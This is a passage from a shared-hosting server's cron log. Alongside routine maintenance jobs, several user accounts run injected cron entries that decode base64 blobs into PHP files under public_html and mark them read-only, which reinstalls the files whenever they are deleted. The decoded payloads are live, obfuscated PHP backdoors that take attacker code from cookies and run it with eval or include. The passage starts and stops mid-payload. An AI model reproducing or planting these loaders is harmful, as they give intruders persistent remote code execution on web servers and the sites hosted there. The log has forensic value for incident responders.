DAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:52:01 medusa CROND[21816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:52:01 medusa CROND[21819]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:52:01 medusa CROND[21818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:53:02 medusa CROND[32214]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:53:02 medusa CROND[32215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:53:02 medusa CROND[32216]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:53:02 medusa CROND[32221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:53:02 medusa CROND[32222]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:53:02 medusa CROND[32224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:53:02 medusa CROND[32225]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:53:02 medusa CROND[32229]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:53:02 medusa CROND[32230]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:53:02 medusa CROND[32233]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:53:02 medusa CROND[32237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:53:02 medusa CROND[32244]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:54:01 medusa CROND[16295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:54:01 medusa CROND[16297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:54:01 medusa CROND[16298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:54:01 medusa CROND[16300]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:54:01 medusa CROND[16305]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:54:01 medusa CROND[16306]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:54:01 medusa CROND[16307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:54:01 medusa CROND[16309]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:54:01 medusa CROND[16308]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:54:01 medusa CROND[16311]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:54:01 medusa CROND[16317]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:54:01 medusa CROND[16316]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:54:01 medusa CROND[16319]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:55:01 medusa CROND[4628]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:55:01 medusa CROND[4635]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:55:01 medusa CROND[4648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:55:01 medusa CROND[4662]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:55:01 medusa CROND[4664]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:55:01 medusa CROND[4958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4971]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1B